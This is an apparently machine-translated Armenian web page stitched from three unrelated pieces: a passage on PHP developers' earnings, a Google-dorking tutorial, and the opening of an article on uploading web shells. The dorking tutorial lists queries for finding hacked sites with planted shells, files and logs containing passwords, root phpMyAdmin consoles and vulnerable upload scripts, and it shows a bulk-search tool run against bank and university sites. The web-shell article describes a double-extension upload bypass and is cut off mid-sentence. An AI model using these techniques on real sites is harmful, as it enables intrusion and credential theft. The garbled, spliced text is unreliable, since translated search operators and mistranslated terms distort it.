Պատրաստի սցենարների վերջնականացում «պատվիրելու համար»: Այստեղ ամեն ինչ պարզ է. դուք ստանձնում եք սցենարի փոփոխումը կամ ուղղումը: Բայց այս դեպքում մի նրբերանգ կա՝ ի սկզբանե սցենարը կարող է շատ լավ կազմված չլինել, և դրա ճշգրտումը կարող է ավելի շատ ժամանակ պահանջել, քան զրոյից սցենար գրելը։ Հետևաբար, եթե դուք օգտագործում եք գումար վաստակելու այս մեթոդը, սկզբում շատ ուշադիր նայեք, թե ինչ եք փոփոխելու և ավարտելու:

Պլագինների մշակում CMS-ի համար։ Այս մեթոդով ամեն ինչ նույնն է, ինչ սցենարներից գումար վաստակելիս։ Հաճախ պատրաստի CMS-ով ստեղծված կայքերը պահանջում են ինչ-որ պլագին, հավելում կամ ընդլայնում գրել: Եվ այստեղ դուք կարող եք գումար վաստակել երկու եղանակով.

հետևել պլագինների, հավելումների և ընդլայնումների մշակման պատվերներին անկախ հիմունքներով.

մշակել և վաճառել զանգվածային հավելված, որն անպայման պահանջված կլինի կայքերի մեծ մասում.

Սեփական և համատեղ նախագծեր. Եթե ​​դուք ունեք գաղափար ինտերնետ նախագծի (ստարտափի), օրինակ՝ օգտակար ծառայության կամ հավելվածի գաղափար, որը կլուծեր կոնկրետ խնդիր, ապա կարող եք սկսել այն իրականացնել։ Սկզբնական փուլում դա կարող է լինել նույնիսկ որպես հոբբի, բացի ձեր հիմնական աշխատանքից: Հետո, երբ պարզ լինի, որ հոբբին վերածվում է մեծ նախագծի, հնարավոր կլինի ավելի շատ ժամանակ հատկացնել դրան։

Նրանց համար դինամիկ կայքերի և շարժիչների ստեղծում։ Կարող եք նաև լավ գումար վաստակել՝ ստեղծելով հատուկ կայքեր, աշխատելով որպես ֆրիլանսեր կամ վեբ ստուդիայում:

Ինքներդ ձեզ համար կայքերի ստեղծում: Դուք կարող եք ստեղծել կայք ձեզ համար, լրացնել այն օգտակար բովանդակությամբ, և երբ կայքն ունի բավարար թվով այցելուներ, սկսեք գումար աշխատել՝ դրանում վճարովի գովազդ տեղադրելով կամ որևէ մեկի արտադրանքը փոխկապակցված ծրագրերի միջոցով առաջ մղելով:

Կարծում եմ՝ ձեզնից շատերը մտածել են, որ գումար վաստակելու վերը նշված բոլոր մեթոդները կարելի է համատեղել։ Եվ դա ճիշտ է! Դուք կարող եք ինքներդ ձեզ համար ստեղծել կայք և պասիվորեն գումար վաստակել՝ գովազդ վաճառելով դրանից, գումարած ստեղծել սկրիպտ կամ փլագին և վաճառել այն մասնագիտացված կայքերում, յուրաքանչյուր վաճառքից գումար վաստակելով ավտոմատ պիլոտում, և միևնույն ժամանակ կարող եք աշխատել համացանցում։ ստուդիա. Ինչու ոչ? Իհարկե, դուք կարող եք!

Որքա՞ն կարող է վաստակել PHP ծրագրավորողը:

PHP ծրագրավորողների վաստակով ամեն ինչ անհատական ​​է։ Այստեղ շատ բան կախված է նրանից, թե որտեղ պետք է աշխատել, ինչպես աշխատել, ինչ մակարդակի գիտելիքներ, ինչ փորձ, որակավորում, ինչ լրացուցիչ գիտելիքներ ունի մշակողը և այլն: Հետևաբար, սկզբունքորեն այստեղ որևէ ստույգ թիվ լինել չի կարող։ Բայց մենք կարող ենք տեսնել, թե ինչ աշխատավարձ են առաջարկվում վեբ ստուդիայում PHP ծրագրավորողներ փնտրելիս, և որքան են նրանք պատրաստ վճարել ֆրիլանս բորսաներում նախագծի համար:

Ստորև բերված պատկերը ցույց է տալիս վեբ ստուդիայում PHP ծրագրավորողների առաջարկվող աշխատավարձը: Ավելին, սա աշխատանքային փորձ չունեցող PHP ծրագրավորողների աշխատավարձն է.

Եթե ​​ունեք աշխատանքային փորձ, կարող եք շատ ավելին վաստակել։ Ստորև ներկայացնում ենք փորձառու PHP ծրագրավորողներին առաջարկվող աշխատավարձերը.

Եվ այսօր դուք կարող եք նաև արժանապատիվ գումար վաստակել ֆրիլանսինգից.

Եզրակացություն

PHP-ն ամենահայտնի ծրագրավորման լեզուն է վեբ մշակողների շրջանում: Ինտերնետում բոլոր կայքերի ճնշող մեծամասնությունը գրված է PHP-ով: Ունենալով ծրագրավորման այս լեզվով զարգանալու գիտելիքներ և կարողություն՝ դուք կարող եք լավ գումար վաստակել, իսկ գումար աշխատելու բազմաթիվ տարբերակներ կան՝ վեբ ստուդիայում աշխատելուց մինչև ձեր սեփական նախագիծը կամ ստարտափը մշակելը:

Վեբ ռեսուրսների վրա խոցելիության ցանկացած որոնում սկսվում է հետախուզությամբ և տեղեկատվության հավաքագրմամբ:
Հետախուզությունը կարող է լինել կամ ակտիվ՝ կայքի ֆայլերի և գրացուցակների կոպիտ ուժ, խոցելիության սկաներների գործարկում, կայքը ձեռքով զննարկելիս կամ պասիվ՝ տարբեր որոնման համակարգերում տեղեկատվության որոնում: Երբեմն պատահում է, որ խոցելիությունը հայտնի է դառնում նույնիսկ կայքի առաջին էջը բացելուց առաջ։

Ինչպե՞ս է դա հնարավոր:
Որոնող ռոբոտները, որոնք անընդհատ ռոումինգ են անում ինտերնետում, բացի սովորական օգտատիրոջ համար օգտակար տեղեկատվությունից, հաճախ գրանցում են այնպիսի բաներ, որոնք հարձակվողները կարող են օգտագործել վեբ ռեսուրսի վրա հարձակվելու համար: Օրինակ՝ սկրիպտի սխալները և զգայուն տեղեկություններով ֆայլերը (կազմաձևման ֆայլերից և տեղեկամատյաններից մինչև իսկորոշման տվյալների և տվյալների բազայի կրկնօրինակումներով ֆայլեր):
Որոնվող ռոբոտի տեսանկյունից sql հարցումը կատարելու մասին սխալի հաղորդագրությունը պարզ տեքստ է, անբաժանելի, օրինակ, էջի արտադրանքի նկարագրությունից: Եթե ​​հանկարծ որոնող ռոբոտը հանդիպի .sql ընդլայնմամբ ֆայլի, որը ինչ-ինչ պատճառներով հայտնվել է կայքի աշխատանքային թղթապանակում, ապա այն կընկալվի որպես կայքի բովանդակության մաս և նույնպես կինդեքսավորվի (ներառյալ, հնարավոր է, գաղտնաբառերը): դրանում նշված):

Նման տեղեկատվություն կարելի է գտնել՝ իմանալով ուժեղ, հաճախ եզակի հիմնաբառեր, որոնք օգնում են առանձնացնել «խոցելի էջերը» այն էջերից, որոնք չեն պարունակում խոցելիություններ:
Հատուկ հարցումների հսկայական բազա՝ օգտագործելով հիմնաբառեր (այսպես կոչված, dorks) գոյություն ունի exploit-db.com-ում և հայտնի է որպես Google Hack Database:

Ինչու google?
Dorks-ը հիմնականում ուղղված է Google-ին երկու պատճառով.
− հիմնաբառերի առավել ճկուն շարահյուսությունը (ցույց է տրված Աղյուսակ 1-ում) և հատուկ նիշերը (ցուցադրված է Աղյուսակ 2-ում);
- Google-ի ինդեքսը դեռ ավելի ամբողջական է, քան մյուս որոնիչները.

Աղյուսակ 1 - Google-ի հիմնական հիմնաբառեր

Հիմնաբառ
Իմաստը
Օրինակ
կայք
Որոնել միայն նշված կայքում: Հաշվի է առնում միայն url-ը
site:somesite.ru - կգտնի բոլոր էջերը տվյալ տիրույթում և ենթադոմեյններում
inurl
Որոնեք uri-ում առկա բառերով: Ի տարբերություն cl. «կայք» բառերը, կայքի անվանումից հետո համընկնում է որոնում
inurl:news - գտնում է բոլոր էջերը, որտեղ տվյալ բառը հայտնվում է uri-ում
ինտեքստ
Որոնել էջի հիմնական մասում
intext:«երթևեկության խցանումներ» - ամբողջովին նման է «խցանումների» սովորական պահանջին
վերնագիր
Որոնել էջի վերնագրում: Տեքստ պիտակների միջև <br></td> <td width="214">intitle:”index of” - կգտնեք բոլոր էջերը գրացուցակների ցուցակներով <br></td> </tr><tr><td width="214">ներք <br></td> <td width="214">Որոնեք նշված ընդլայնմամբ էջեր <br></td> <td width="214">ext:pdf - գտնում է բոլոր pdf ֆայլերը <br></td> </tr><tr><td width="214">ֆայլի տեսակը <br></td> <td width="214">Ներկայումս լրիվ նման է դասին։ «ext» բառը <br></td> <td width="214">ֆայլի տեսակը՝ pdf - նմանատիպ <br></td> </tr><tr><td width="214">կապված <br></td> <td width="214">Որոնեք նմանատիպ թեմաներով կայքեր <br></td> <td width="214">related:google.ru - ցույց կտա իր անալոգները <br></td> </tr><tr><td width="214">հղում <br></td> <td width="214">Որոնեք կայքեր, որոնք կապում են դրան <br></td> <td width="214">link:somesite.ru - կգտնեք բոլոր կայքերը, որոնք հղում ունեն դրան <br></td> </tr><tr><td width="214">սահմանել <br></td> <td width="214">Ցույց տալ բառի սահմանումը <br></td> <td width="214">define:0day - տերմինի սահմանում <br></td> </tr><tr><td width="214">քեշ <br></td> <td width="214">Ցույց տալ էջի բովանդակությունը քեշում (եթե առկա է) <br></td> <td width="214">cache:google.com - կբացի քեշավորված էջ <br></td> </tr></tbody></table><p>Աղյուսակ 2 - Հատուկ նիշեր Google հարցումների համար <br></p><table><tbody><tr><td width="214"><b>Խորհրդանիշ</b><br></td> <td width="214"><b>Իմաստը</b><br></td> <td width="214"><b>Օրինակ</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Ճշգրիտ արտահայտություն <br></td> <td width="214">intitle:«RouterOS երթուղիչի կազմաձևման էջ» - որոնել երթուղիչներ <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Ցանկացած տեքստ <br></td> <td width="214">inurl: «bitrix*mcart» - որոնել կայքեր bitrix-ում խոցելի mcart մոդուլով <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Ցանկացած կերպար <br></td> <td width="214">Index.of - նման է հարցումի ինդեքսին <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Ջնջել բառը <br></td> <td width="214">error -warning - ցույց տալ բոլոր էջերը, որոնք ունեն սխալ, բայց ոչ նախազգուշացում <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Շրջանակ <br></td> <td width="214">cve 2006..2016 - ցույց տալ խոցելիությունը ըստ տարիների՝ սկսած 2006թ. <br></td> </tr><tr><td width="214">|<br></td> <td width="214">Տրամաբանական «կամ» <br></td> <td width="214">Linux | պատուհաններ - ցույց տալ էջերը, որտեղ հայտնվում է առաջին կամ երկրորդ բառը <br></td> </tr></tbody></table><br>Արժե հասկանալ, որ որոնման համակարգին ուղղված ցանկացած խնդրանք որոնում է միայն բառերով: <br>Անիմաստ է էջում փնտրել մետա-նիշեր (մեջբերումներ, փակագծեր, կետադրական նշաններ և այլն)։ Նույնիսկ չակերտներում նշված ճշգրիտ արտահայտության որոնումը բառային որոնում է, որին հաջորդում է արդյունքների ճշգրիտ համընկնումի որոնումը: <p>Բոլոր Google Hack Database dorks-ը տրամաբանորեն բաժանված են 14 կատեգորիաների և ներկայացված են Աղյուսակ 3-ում: <br>Աղյուսակ 3 – Google Hack տվյալների բազայի կատեգորիաներ <br></p><table><tbody><tr><td width="168"><b>Կարգավիճակ</b><br></td> <td width="190"><b>Ինչը թույլ է տալիս գտնել</b><br></td> <td width="284"><b>Օրինակ</b><br></td> </tr><tr><td width="168">Հենակետեր <br></td> <td width="190">Վեբ կեղևներ, հանրային ֆայլերի կառավարիչներ <br></td> <td width="284">Գտեք բոլոր կոտրված կայքերը, որտեղ վերբեռնված են նշված վեբ կեղևները. <br>(վերնագիր:"phpshell" ԿԱՄ վերնագիր:"c99shell" ԿԱՄ վերնագիր:"r57shell" ԿԱՄ վերնագիր:"PHP Shell" ԿԱՄ վերնագիր:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Օգտվողի անուններ պարունակող ֆայլեր <br></td> <td width="190">Ռեեստրի ֆայլեր, կազմաձևման ֆայլեր, տեղեկամատյաններ, մուտքագրված հրամանների պատմություն պարունակող ֆայլեր <br></td> <td width="284">Գտեք բոլոր ռեեստրի ֆայլերը, որոնք պարունակում են հաշվի տեղեկատվություն. <br><i>filetype:reg reg +intext:"internet account manager"</i><br></td> </tr><tr><td width="168">Զգայուն տեղեկատուներ <br></td> <td width="190">Տարբեր տեղեկություններով տեղեկատուներ (անձնական փաստաթղթեր, vpn կոնֆիգուրացիաներ, թաքնված պահոցներ և այլն) <br></td> <td width="284">Գտեք բոլոր գրացուցակների ցուցակները, որոնք պարունակում են VPN-ի հետ կապված ֆայլեր. <br><i>"Config" վերնագիր:"Index of" intext:vpn</i><br>git պահեստներ պարունակող կայքեր. <br><i>(intext: «index of /.git») («ծնող գրացուցակ»)</i><br></td> </tr><tr><td width="168">Վեբ սերվերի հայտնաբերում <br></td> <td width="190">Տարբերակ և այլ տեղեկություններ վեբ սերվերի մասին <br></td> <td width="284">Գտեք JBoss սերվերի վարչական վահանակներ. <br><i>inurl:"/web-console/" intitle:"Administration Console"</i><br></td> </tr><tr><td width="168">Խոցելի ֆայլեր <br></td> <td width="190">Հայտնի խոցելիություններ պարունակող սցենարներ <br></td> <td width="284">Գտեք կայքեր, որոնք օգտագործում են սցենար, որը թույլ է տալիս վերբեռնել կամայական ֆայլ սերվերից. <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Խոցելի սերվերներ <br></td> <td width="190">Տեղադրման սկրիպտներ, վեբ կեղևներ, բաց վարչական վահանակներ և այլն: <br></td> <td width="284">Գտեք բաց PHPMyAdmin կոնսուլներ, որոնք աշխատում են որպես root: <br><i>intitle:phpMyAdmin "Բարի գալուստ phpMyAdmin ***" "աշխատում է * որպես root@*"</i><br></td> </tr><tr><td width="168">Սխալի հաղորդագրություններ <br></td> <td width="190">Տարբեր սխալներն ու նախազգուշացումները հաճախ բացահայտում են կարևոր տեղեկություններ՝ սկսած CMS տարբերակից մինչև գաղտնաբառեր <br></td> <td width="284">Կայքեր, որոնք սխալներ ունեն տվյալների բազայում SQL հարցումները կատարելիս. <br><i>"Զգուշացում. mysql_query()" "անվավեր հարցում"</i><br></td> </tr><tr><td width="168">Հյութալի տեղեկություններ պարունակող ֆայլեր <br></td> <td width="190">Վկայականներ, կրկնօրինակներ, էլ. նամակներ, տեղեկամատյաններ, SQL սկրիպտներ և այլն: <br></td> <td width="284">Գտեք սկզբնավորման sql սցենարներ. <br><i>filetype:sql և «insert into» -site:github.com</i><br></td> </tr><tr><td width="168">Գաղտնաբառեր պարունակող ֆայլեր <br></td> <td width="190">Այն ամենը, ինչ կարող է պարունակել գաղտնաբառեր՝ տեղեկամատյաններ, sql սկրիպտներ և այլն: <br></td> <td width="284">գաղտնաբառերը հիշատակող մատյաններ. <br><i>ֆայլի տեսակը:</i><i>գերան</i><i>տեքստ:</i><i>գաղտնաբառը |</i><i>անցնել |</i><i>pw</i><br>sql սկրիպտներ, որոնք պարունակում են գաղտնաբառեր. <br><i>ext:</i><i>sql</i><i>տեքստ:</i><i>օգտագործողի անունը</i><i>տեքստ:</i><i>գաղտնաբառը</i><br></td> </tr><tr><td width="168">Զգայուն առցանց գնումների տեղեկատվություն <br></td> <td width="190">Առցանց գնումների հետ կապված տեղեկատվություն <br></td> <td width="284">Գտեք պինկոդերը. <br><i>dcid=</i><i>bn=</i><i>քորոց</i><i>կոդը=</i><br></td> </tr><tr><td width="168">Ցանցի կամ խոցելիության տվյալներ <br></td> <td width="190">Տեղեկություններ, որոնք ուղղակիորեն կապված չեն վեբ ռեսուրսի հետ, բայց ազդում են ցանցի կամ այլ ոչ վեբ ծառայությունների վրա <br></td> <td width="284">Գտեք ավտոմատ վստահված անձի կազմաձևման սկրիպտներ, որոնք պարունակում են տեղեկատվություն ներքին ցանցի մասին. <br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Էջեր, որոնք պարունակում են մուտքի պորտալներ <br></td> <td width="190">Մուտքի ձևեր պարունակող էջեր <br></td> <td width="284">saplogon վեբ էջեր. <br><i>intext:«2016 SAP AG. Բոլոր իրավունքները պաշտպանված են." վերնագիր՝ «Մուտք»</i><br></td> </tr><tr><td width="168">Տարբեր առցանց սարքեր <br></td> <td width="190">Տպիչներ, երթուղիչներ, մոնիտորինգի համակարգեր և այլն: <br></td> <td width="284">Գտեք տպիչի կազմաձևման վահանակը. <br><i>վերնագիր:"</i><i>hp</i><i>լազերային ռեակտիվ»</i><i>inurl:</i><i>SSI/</i><i>Հաստատություն/</i><i>սահմանել_</i><i>կոնֆիգ_</i><i>սարքի ինֆորմացիա։</i><i>htm</i><br></td> </tr><tr><td width="168">Խորհուրդներ և խոցելիություններ <br></td> <td width="190">Կայքեր խոցելի CMS տարբերակների վրա <br></td> <td width="284">Գտեք խոցելի պլագիններ, որոնց միջոցով կարող եք կամայական ֆայլ վերբեռնել սերվեր. <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Dorks-ն ավելի հաճախ կենտրոնացած է բոլոր ինտերնետային կայքերում որոնումների վրա: Բայց ոչինչ չի խանգարում ձեզ սահմանափակել որոնման շրջանակը ցանկացած կայքում կամ կայքերում: <br>Google-ի յուրաքանչյուր հարցում կարող է կենտրոնանալ կոնկրետ կայքի վրա՝ հարցմանը ավելացնելով «site:somesite.com» հիմնաբառը: Այս բանալի բառը կարող է ավելացվել ցանկացած դորկի մեջ: <p><b>Խոցելիության որոնման ավտոմատացում</b><br>Ահա թե ինչպես ծնվեց մի պարզ օգտակար ծրագիր գրելու գաղափարը, որն ավտոմատացնում է խոցելիության որոնումը որոնման համակարգի միջոցով (google) և հիմնվում է Google Hack Database-ի վրա:</p><p>Կոմունալը սկրիպտ է, որը գրված է nodejs-ում՝ օգտագործելով phantomjs: Ճիշտն ասած, սցենարը մեկնաբանվում է հենց ֆանտոմջսի կողմից։ <br>Phantomjs-ը լիարժեք վեբ բրաուզեր է՝ առանց GUI-ի, որը կառավարվում է js կոդով և հարմար API-ով: <br>Կոմունալը ստացել է բավականին հասկանալի անուն՝ dorks: Գործարկելով այն հրամանի տողում (առանց ընտրանքների), մենք կարճ օգնություն ենք ստանում օգտագործման մի քանի օրինակներով. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 1 - Դորքսի հիմնական տարբերակների ցանկը</p><p>Կոմունալ ծրագրի ընդհանուր շարահյուսությունն է՝ dork «հրաման» «ընտրությունների ցուցակ»: <br>Բոլոր տարբերակների մանրամասն նկարագրությունը ներկայացված է Աղյուսակ 4-ում:</p><p>Աղյուսակ 4 - Dorks շարահյուսություն <br></p><table border="1"><tbody><tr><td width="214"><b>Թիմ</b><br></td> <td width="214"><b>Տարբերակ</b><br></td> <td width="214"><b>Նկարագրություն</b><br></td> </tr><tr><td rowspan="4" width="214">ղդբ <br></td> <td width="214">-լ <br></td> <td width="214">Տպեք Google Hack Database-ի կատեգորիաների համարակալված ցուցակը <br></td> </tr><tr><td width="214">-c «կատեգորիայի համարը կամ անունը» <br></td> <td width="214">Բեռնեք նշված կատեգորիայի դռները ըստ համարի կամ անվան <br></td> </tr><tr><td width="214">-q «արտահայտություն» <br></td> <td width="214">Ներբեռնեք dorks հայտնաբերված խնդրանքով <br></td> </tr><tr><td width="214">-o «ֆայլ» <br></td> <td width="214">Պահպանեք արդյունքը ֆայլում (միայն -c|-q ընտրանքներով) <br></td> </tr><tr><td rowspan="8" width="214">google <br></td> <td width="214">-d «դորկ» <br></td> <td width="214">Սահմանեք կամայական կոկիկ (տարբերակը կարող է օգտագործվել բազմիցս, թույլատրվում է համադրություն -D տարբերակի հետ) <br></td> </tr><tr><td width="214">-D «ֆայլ» <br></td> <td width="214">Օգտագործեք dorks ֆայլից <br></td> </tr><tr><td width="214">-ի «կայք» <br></td> <td width="214">Սահմանել կայքը (տարբերակը կարող է օգտագործվել բազմիցս, թույլատրվում է համադրություն -S տարբերակի հետ) <br></td> </tr><tr><td width="214">-S «ֆայլ» <br></td> <td width="214">Օգտագործեք կայքերը ֆայլից (dorks-ը կփնտրվի յուրաքանչյուր կայքի համար ինքնուրույն) <br></td> </tr><tr><td width="214">-f «ֆիլտր» <br></td> <td width="214">Սահմանեք հավելյալ հիմնաբառեր (կավելացվեն յուրաքանչյուր դոկում) <br></td> </tr><tr><td width="214">-t «ms-ների թիվը» <br></td> <td width="214">Google-ի հարցումների միջև ընդմիջում <br></td> </tr><tr><td width="214">-T «ms-ի թիվը» <br></td> <td width="214">Ժամկետը սպառվում է, եթե captcha հայտնաբերվի <br></td> </tr><tr><td width="214">-o «ֆայլ» <br></td> <td width="214">Արդյունքը պահեք ֆայլում (միայն այն հետքերը, որոնց համար ինչ-որ բան գտնվել է, կպահվեն) <br></td> </tr></tbody></table><br>Օգտագործելով ghdb հրամանը, դուք կարող եք կամայական խնդրանքով ստանալ exploit-db-ից բոլոր dorks-ները կամ նշել ամբողջ կատեգորիան: Եթե ​​նշեք 0 կատեգորիա, ապա ամբողջ տվյալների բազան կբեռնաթափվի (մոտ 4,5 հազար դորկ): <p>Ներկայումս առկա կատեգորիաների ցանկը ներկայացված է Նկար 2-ում: <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>Նկար 2 - Հասանելի GHDB կատեգորիաների ցանկ</p><p>Google-ի թիմը կփոխարինի յուրաքանչյուր դորկ Google որոնողական համակարգում և կվերլուծի արդյունքները հանդիպումների համար: Այն ուղիները, որտեղ ինչ-որ բան է հայտնաբերվել, կպահվեն ֆայլում: <br>Կոմունալն աջակցում է որոնման տարբեր ռեժիմներ. <br>1 դորկ և 1 կայք; <br>1 ննջարան և բազմաթիվ կայքեր; <br>1 կայք և շատ դռներ; <br>շատ կայքեր և շատ ննջասենյակներ; <br>Դորքերի և կայքերի ցանկը կարելի է ճշտել կամ վեճի կամ ֆայլի միջոցով:</p><p><b>Աշխատանքի ցուցադրում</b><br>Փորձենք փնտրել ցանկացած խոցելիություն՝ օգտագործելով սխալի հաղորդագրությունների որոնման օրինակը: Հրամանով՝ dorks ghdb –c 7 –o errors.dorks «Սխալների հաղորդագրություններ» կատեգորիայի բոլոր հայտնի dorks-ները կբեռնվեն, ինչպես ցույց է տրված Նկար 3-ում: <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 3 – Բեռնվում են «Սխալների հաղորդագրություններ» կատեգորիայի բոլոր հայտնի նիշերը</p><p>Dorks-ը ներբեռնվում և պահվում է ֆայլում: Այժմ մնում է միայն դրանք «տեղադրել» ինչ-որ կայքում (տե՛ս Նկար 4): <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 4 – Հետաքրքրվող կայքի խոցելիության որոնում Google քեշում</p><p>Որոշ ժամանակ անց ուսումնասիրվող կայքում հայտնաբերվում են սխալներ պարունակող մի քանի էջ (տե՛ս նկար 5):</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 5 – Սխալի հաղորդագրություններ են հայտնաբերվել</p><p>Արդյունքում, result.txt ֆայլում մենք ստանում ենք dorks-ի ամբողջական ցանկ, որոնք հանգեցնում են սխալի: <br>Նկար 6-ը ցույց է տալիս կայքի սխալների որոնման արդյունքը: <br><br>Նկար 6 – Սխալ որոնման արդյունք</p><p>Այս dork-ի քեշում ցուցադրվում է ամբողջական հետագիծ՝ բացահայտելով սկրիպտների բացարձակ ուղիները, կայքի բովանդակության կառավարման համակարգը և տվյալների բազայի տեսակը (տես Նկար 7): <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>Գծապատկեր 7 – կայքի դիզայնի մասին տեղեկատվության բացահայտում</p><p>Այնուամենայնիվ, հարկ է հաշվի առնել, որ GHDB-ի ոչ բոլոր դոկտորներն են իրական արդյունքներ տալիս: Նաև Google-ը կարող է չգտնել ճշգրիտ համընկնում և ցույց տալ նմանատիպ արդյունք:</p><p>Այս դեպքում ավելի խելամիտ է օգտագործել դոկտորների ձեր անձնական ցուցակը: Օրինակ, միշտ արժե փնտրել «անսովոր» ընդլայնումներով ֆայլեր, որոնց օրինակները ներկայացված են Նկար 8-ում: <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 8 – Ֆայլերի ընդլայնումների ցանկ, որոնք բնորոշ չեն սովորական վեբ ռեսուրսի համար</p><p>Արդյունքում, dorks google –D extensions.txt –f bank հրամանով Google-ն առաջին իսկ խնդրանքից սկսում է վերադարձնել ֆայլերի «անսովոր» ընդլայնումներով կայքերը (տես Նկար 9): <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 9 – Որոնել «վատ» ֆայլերի տեսակներ բանկային կայքերում</p><p>Արժե նկատի ունենալ, որ Google-ը չի ընդունում 32 բառից երկար հարցումներ։</p><p>Օգտագործելով dorks google –d intext:«error|զգուշացում|ծանուցում|շարահյուսություն» -f համալսարան հրամանը <br>Դուք կարող եք փնտրել PHP թարգմանչի սխալներ կրթական կայքերում (տես Նկար 10): <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 10 – PHP գործարկման ժամանակի սխալների հայտնաբերում</p><p>Երբեմն հարմար չէ օգտագործել մեկ կամ երկու կատեգորիաների դորքս: <br>Օրինակ, եթե հայտնի է, որ կայքը աշխատում է Wordpress շարժիչով, ապա մեզ անհրաժեշտ են WordPress-ին հատուկ մոդուլներ։ Այս դեպքում հարմար է օգտագործել Google Hack Database որոնումը։ Dorks ghdb –q wordpress –o wordpress_dorks.txt հրամանը կներբեռնի բոլոր dorks-ը Wordpress-ից, ինչպես ցույց է տրված Նկար 11-ում: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 11 – Որոնեք Wordpress-ի հետ կապված Dorks-ներ</p><p>Եկեք նորից վերադառնանք բանկերին և օգտագործենք dorks google –D wordpress_dords.txt –f bank հրամանը՝ փորձելով գտնել Wordpress-ի հետ կապված որևէ հետաքրքիր բան (տե՛ս Նկար 12): <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 12 – Որոնել Wordpress-ի խոցելիությունը</p><p>Հարկ է նշել, որ Google Hack Database-ում որոնումը չի ընդունում 4 նիշից կարճ բառեր։ Օրինակ, եթե կայքի CMS-ը հայտնի չէ, բայց լեզուն հայտնի է՝ PHP: Այս դեպքում դուք կարող եք զտել այն, ինչ ձեզ հարկավոր է ձեռքով, օգտագործելով խողովակը և համակարգի որոնման օգտակար ծրագիրը dorks –c all | findstr /I php > php_dorks.txt (տես Նկար 13): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>Գծապատկեր 13 – Որոնեք բոլոր կցորդները, որտեղ նշված է PHP-ն</p><p>Որոնման համակարգում խոցելիության կամ որոշ զգայուն տեղեկատվության որոնումը պետք է իրականացվի միայն այն դեպքում, եթե այս կայքում կա զգալի ցուցանիշ: Օրինակ, եթե կայքը ունի ինդեքսավորված 10-15 էջ, ապա հիմարություն է որևէ բան որոնել այս ձևով: Ցուցանիշի չափը ստուգելը հեշտ է. պարզապես մուտքագրեք «site:somesite.com» Google որոնման տողում: Անբավարար ցուցանիշ ունեցող կայքի օրինակ ներկայացված է Նկար 14-ում: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>Նկար 14 – Կայքի ինդեքսի չափի ստուգում</p><p>Հիմա տհաճի մասին... Ժամանակ առ ժամանակ Google-ը կարող է պահանջել captcha - դուք ոչինչ չեք կարող անել դրա դեմ, դուք պետք է մուտքագրեք այն: Օրինակ, «Սխալների հաղորդագրություններ» կատեգորիայի մեջ որոնելիս (90 dorks) captcha-ն հայտնվել է միայն մեկ անգամ:</p><p>Հարկ է ավելացնել, որ phantomjs-ն աջակցում է նաև վստահված անձի միջոցով աշխատելուն՝ ինչպես http, այնպես էլ գուլպաների ինտերֆեյսի միջոցով: Պրոքսիի ռեժիմը միացնելու համար անհրաժեշտ է հեռացնել համապատասխան տողը dorks.bat կամ dorks.sh-ում:</p><p>Գործիքը հասանելի է որպես սկզբնական կոդ</p> <br>Այս հոդվածում ես ուզում եմ խոսել կեղևը կայք ներբեռնելու ամենատարածված մեթոդների մասին: <b>Web-shell</b>վնասակար սկրիպտի (ծրագրի) տեսակ է, որը հարձակվողներն օգտագործում են կայքերը կամ սերվերները կառավարելու համար: <p><b>Մեթոդ 1</b><br>Գտեք կայքում ֆայլեր/նկարներ վերբեռնելու ձև: Ենթադրենք, մենք չկարողացանք կոտրել կայքի ադմինիստրատորի վահանակը, և մենք փորձում ենք ողողել մեր կեղևը <b>extension.php.jpg .</b>Հաջողության դեպքում նկարի փոխարեն կտեսնենք սպիտակ պատուհան, սեղմում ենք աջը և հետևում 